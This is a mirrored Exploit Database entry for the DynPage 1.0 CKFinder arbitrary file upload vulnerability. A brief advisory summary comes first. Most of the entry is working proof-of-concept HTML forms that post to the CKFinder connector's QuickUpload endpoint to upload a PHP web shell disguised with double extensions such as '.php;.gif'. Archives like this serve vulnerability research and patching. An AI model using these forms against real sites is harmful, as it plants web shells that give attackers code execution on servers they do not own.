DynPage 1.0 – ‘ckfinder’ Multiple Arbitrary File Upload Vulnerabilities

• Exploit Database
• 118 阅读

• 作者： KedAns-Dz
  日期： 2012-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37321/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  source: https://www.securityfocus.com/bid/53696/info   DynPage is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.   An attacker may leverage these issues to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.   DynPage 1.0 is vulnerable; other versions may also be affected.   ########>>>>> Explo!T <<<<<<##################   # Download : [http://www.dynpage.net/download/dynpage.zip]   ### [ Upload Sh3LL.php;.txt ] =>   <form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files" method="post" enctype="multipart/form-data" > <input name="Files" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form>       ### [ Upload Sh3LL.php;.gif ;.jpeg ] =>   <!-- p0c 1 --> <form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images" method="post" enctype="multipart/form-data" > <input name="Images" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form>   <!-- p0c 2 --> <form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Images" method="post" enctype="multipart/form-data" > <input name="Images" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form>     ### [ Upload Sh3LL.php;.swf ;.flv ] =>   <!-- p0c 1 --> <form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Flash" method="post" enctype="multipart/form-data" > <input name="Images" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form>   <!-- p0c 2 --> <form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Flash" method="post" enctype="multipart/form-data" > <input name="Images" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form> ############# << ThE|End